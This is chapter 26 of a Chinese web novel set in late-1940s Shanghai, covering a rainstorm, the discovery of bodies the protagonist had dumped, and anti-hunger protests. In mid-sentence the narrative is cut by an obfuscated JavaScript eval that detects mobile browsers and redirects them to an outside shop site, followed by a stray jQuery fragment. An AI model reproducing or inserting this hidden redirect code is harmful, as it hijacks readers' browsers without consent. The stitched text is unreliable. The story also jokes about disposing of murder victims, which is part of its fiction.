第二十六章暴雨
这件事也给沈恒提了个醒：
有些人坏得很，哪怕你觉得没得罪对方，对方却记恨上你了。
这些阴沟里的老鼠，最喜欢用下作手段。
这次要不是龙哥派人提醒了他，说不定真的着了对方的道，特别小石头和囡囡。
沈恒记下了这个人情。
***
四月底的一天，沪城下了史上罕见的特大暴雨。
因为城市排水系统不给力，加上短时间强降雨集中，造成城市内涝和交通瘫痪。
码头自然也没法开工。
沈恒把两小只拘在家里，他和张师傅披着雨衣，穿着塑胶靴子，不停地清理小院的排水沟，不然水都要淹进门槛里了。
就这样，时间久了，两个人还是淋湿的。
院子里种的青菜能拔的都抢着拔下来了，剩下的都被水淹得东倒西歪，有的干脆都看不到了。
鸡窝里的几只母鸡也缩在窝里，上面被沈恒挡了些板子什么的，暂时还没事。
小石头带着囡囡一脸郑重地守在门口，手里还拿着水瓢，随时准备往外舀水。
他们这里还算好的，毕竟靠近租界，排水多少还能强一些，但那些离租界远的地方尤其是棚户区，别提了。
***
傍中午前，徐老师的儿子阿强冒着大雨淌水过来，问他们要不要去楼上躲一躲。
毕竟二三楼高一点，轻易淹不到。
沈恒考虑了一下，问过两小只，他们都摇头。
“谢谢侬啊，阿强哥，再等等看，实在不行再麻烦大家。”
沈恒给他手里塞了一盒牛肉罐头，这种天气肯出门来一趟，他领情的。
现在黑市里美国罐头不稀奇，他拿一个出来也不算什么。
他招呼张师傅进屋歇一歇。
张师傅道：“看天色，这雨有的下呢。”
“大哥，屋顶漏雨了。”小石头站在厨房门口喊他。
沈恒忙进去查看。
原来是厨房的墙角洇湿了一片，沈恒仔细看了看不是窗户刮进来的雨水，应该是瓦片漏了。
“没事儿，等雨停了，大哥找人修一下。”
要不是那时候想着过完年去北平，他早让人修修屋子。
结果耽误到现在。
***
其实，未来去北平还是继续在沪城，沈恒仔细考虑过的。
如果想挣钱的话，在沪城自然是比较好，这里有全国最好的金融基础，但沈恒不差钱，未来三十年都不是搞经济的好时候，哪怕是有空间，他也只能等到八十年代。
在这三十年时间，农民种地都能挨饿，工人吃粮本反倒好些。
前世三年，自然，灾害，饿死多少人，逃荒的到处都是，半袋棒子面能换个大姑娘当媳妇。
沪城更是有三千小孩被总理指示送到内蒙古农牧民家里才养活下来的。
所以，抛开沪城，首都肯定是最好选择。
这两年去还能捡点漏，太晚了，连四合院都禁止买卖了。
***
沈恒收回思绪，看到小石头准备午饭，拿出几个美国罐头：“这天也没法弄别的菜，炒个鸡蛋，再用罐头搞个炖菜吧。”
他去别的屋子里检查检查漏雨的情况。
正房，厢房挨个看了一回，除了厨房，小石头他们住的屋子有一角也洇湿了，还有东厢房也有一处在滴答。
好在师傅住的西厢房当时特别检查过换了瓦片的。
“现在不好动，等雨停了，再找人都修一修。”吃饭的时候，沈恒跟大家说起来。
张师傅想说什么，但还是没说。
原本他打算教几个月就回去的，只是没想到呆得挺顺心的，有点舍不得这几个孩子。
再说，现在这情况，他要是丢下手，沈恒出门做事也不方便。
看看再说吧。
***
下半天，沈恒家里就四五个地方开始滴答、滴答的了，小石头和囡囡用了四五个盆子、桶什么的在接。
庆幸的事，排水沟一直疏通着，水到底没淹到屋子里去。
后半夜风停了，雨也小了，两小只也早累的东倒西歪睡着了。
沈恒拿着手电筒又房前屋后检查了一遍，打死两条不知道哪来的水蛇，这才去睡了。
第二天上午还是小雨淅沥沥个不停，到晌午才放晴。
虽然才一天多没见太阳，感觉像好久了似得。
两小只也穿着小靴子出了屋子。
“呀，哥，哥你看。。。。。。”
沈恒不用看，那是他打死的水蛇。
“我们要吃掉吗？”囡囡问。
沈恒觉得不干净，就道：“你不怕啊？”
他让小石头拎着去问邻居谁要给谁。
反正他不吃。
***
一场大暴雨，沪城过了三天才恢复正常。
这也只是街面上，很多棚户区受了灾，报纸上说得比唱得都好，国民政府救灾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16931798|192687||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
措施云云，实际上除了摆拍的几个地方，其他根本没人管。
这种腐败政府被推翻可不是早晚的么。
码头上已经开工，沈恒又去上工了。
“听说了没有，这场大雨冲出来好多尸体，都看不清人样了。。。。。。。”
沈恒不动声色，反正湖里不知道多少个麻袋，谁知道是谁种的。
过了几天，报纸上有报道，在下游几百里外发现若干尸体，时间长短不一，但都已经看不出谁是谁了，只有衣服勉强能辨认。
不过显然，都这样了早就没法找痕迹什么的了，只能不了了之。
沈恒：忘记脱衣服了，下次记得扒光了在丢。
***
时间到了五月中下旬。
随着美国货的倾销，本土实业纷纷破产，法币更是贬值到一百块买不到四粒米的程度。
工薪阶层和政府补贴的公立学校都吃不上饭。
全国范围爆发了学生为主，工人响应的‘反饥饿，反内战’的大游行。
然而，国民政府出动大批警察强力镇压，南京发生了520血案，很多学生被捕，重伤20多人，轻伤不计其数。
这些引爆了全国的愤怒，“反饥饿，反内战，反迫害”游行更加轰轰烈烈。
沈恒也参加了码头工人的游行，他也是被剥削，被迫害的底层啊。
面对警察的棍棒和水龙，沈恒挡在前面，尽量护着大家不要受伤，瞅准机会还能抢夺一个棍子打回去。
很快他跟前就出现一片空地，不过他也没继续，免得闹打发了警察动枪。
子弹不长眼，他是能躲，别人躲不掉就不好了。
游行轰轰烈烈闹了好几天，最后，国民政府派了代表谈判，后面的事情沈恒就不参与了。
这些天他也不是一点伤都没受，回家脱了衣裳，胳膊和后背不少淤青。
张师傅给他拿药油揉搓，疼的他呲牙咧嘴。
小石头和囡囡眼泪汪汪的。
***
全国形式加上国际舆论对光头政府都非常不利，美国还特地派了特使批评了光头。
但老蒋显然不以为然。
他的回应是调动部队进攻陕甘宁和山东解放区，只是如今的解放区没从前那么穷，要枪械有美国造的，要粮食有美国罐头，甚至还有爱国人士捐的飞机大炮，跟光头部队打得你退我进，反而缴获了大批美式装备。
老蒋气得骂娘跳脚也改变不了颓势，美国人见状加快了撤离的脚步。